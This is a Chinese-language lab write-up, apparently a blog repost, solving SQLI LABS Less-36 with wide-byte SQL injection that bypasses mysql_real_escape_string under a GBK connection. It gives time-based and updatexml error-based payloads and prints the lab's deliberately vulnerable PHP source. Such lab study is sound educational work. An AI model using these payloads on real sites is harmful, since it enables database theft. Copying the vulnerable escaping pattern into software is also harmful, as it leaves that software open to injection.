当前位置: 首页 > article >正文

SQLI LABS | Less-36 GET-Bypass mysql_real_escape_string

关注这个靶场的其它相关笔记:SQLI LABS —— 靶场笔记合集-CSDN博客

0x01:过关流程

输入下面的链接进入靶场(如果你的地址和我不一样,按照你本地的环境来):

 http://localhost/sqli-labs/Less-36/

话不多说,直接对 ID 使用时间盲注字典进行爆破,看看有没有符合要求的模板:

如下,是一个使用时间盲注成功爆破出来的可用模板:

 1%df'%20%26%26%20sleep(3)%23--%20%2f%2a

在测试中,我们发现目标会返回后端的报错信息。所以,我们可以对上面的 Payload 进行修改,改为报错注入的 Payload:

 -- 使用报错注入获取目标后端当前正在使用的数据库信息
 1%df'%20%26%26%20updatexml(1,concat(0x7e,database(),0x7e),1)%23--%20%2f%2a

可以看到,我们已经成功获取了当前站点使用的后端数据库的信息。至此,SQLI LABS Less-36 GET-Bypass mysql_real_escape_string 成功过关。

0x02:源码分析

下面是 SQLI LABS Less-36 GET-Bypass mysql_real_escape_string 后端的部分源码,以及笔者做的笔记:

<?php
 //including the Mysql connect parameters.
 include("../sql-connections/sqli-connect.php");
 error_reporting(0);
 ​
 function check_quotes($con1, $string)
 {
     // 转义所有特殊字符以用于 SQL 查询
     $string = mysqli_real_escape_string($con1, $string);
     return $string;
 }
 ​
 // take the variables 
 if (isset($_GET['id'])) {
     // 对用户传入的 id 进行了转义
     $id = check_quotes($con1, $_GET['id']);
     //echo "The filtered request is :" .$id . "<br>";
 ​
     //logging the connection parameters to a file for analysis.
     $fp = fopen('result.txt', 'a');
     fwrite($fp, 'ID:' . $id . "\n");
     fclose($fp);
 ​
     // connectivity 
     // 但是由于设置的 MySQL 数据库连接字符集为 GBK,所以转义也没用,还是被宽字节绕过
     mysqli_query($con1, "SET NAMES gbk");
     $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
     $result = mysqli_query($con1, $sql);
     $row = mysqli_fetch_array($result, MYSQLI_BOTH);
 ​
     if ($row) {
         echo '<font color= "#00FF00">';
         echo 'Your Login name:' . $row['username'];
         echo "<br>";
         echo 'Your Password:' . $row['password'];
         echo "</font>";
     } else {
         echo '<font color= "#FFFF00">';
         print_r(mysqli_error($con1));
         echo "</font>";
     }
 } else {
     echo "Please input the ID as parameter with numeric value";
 }
 ?>


http://www.kler.cn/a/386887.html

相关文章:

  • 2411C++,C++26反射示例
  • 【机器学习】机器学习中用到的高等数学知识-2.概率论与统计 (Probability and Statistics)
  • 深入探讨 MySQL 配置与优化:从零到生产环境的最佳实践20241112
  • 深入理解 Vue v-model 原理与应用
  • Python用CEEMDAN-LSTM-VMD金融股价数据预测及SVR、AR、HAR对比可视化
  • 2-UML概念模型测试
  • Python 函数专题:可变参数详解
  • Redis(3):持久化
  • 【提高篇】3.1 GPIO(一,基础知识)
  • Doris 游戏数据分析实战,计算留存
  • 寻找存在的路径/寻找图中是否存在路径 C# 并查集
  • 亲测有效:Maven3.8.1使用Tomcat8插件启动项目
  • 《数据治理精选案例集2.0(2024版)》592页PDF(已授权分享)
  • AI大模型如何重塑软件开发流程
  • PostgreSQL 删除数据库
  • 蓝桥杯2022年第十三届省赛真题-求和
  • 《Python编程实训快速上手》第四天--字符串操作
  • 【嵌入式开发——Linux操作系统】7进程管理
  • ROS移动机器人自动导航系统架构与rosbag 工具
  • 多元正态分布
  • Serverless架构与自动化运维
  • 数据结构——二叉树(续集)
  • vue3入门知识(一)
  • docker安装低版本的jenkins-2.346.3,在线安装对应版本插件失败的解决方法
  • udp为什么会比tcp 有更低的延迟
  • Linux 下 mysql 9.1 安装设置初始密码 【附脚本】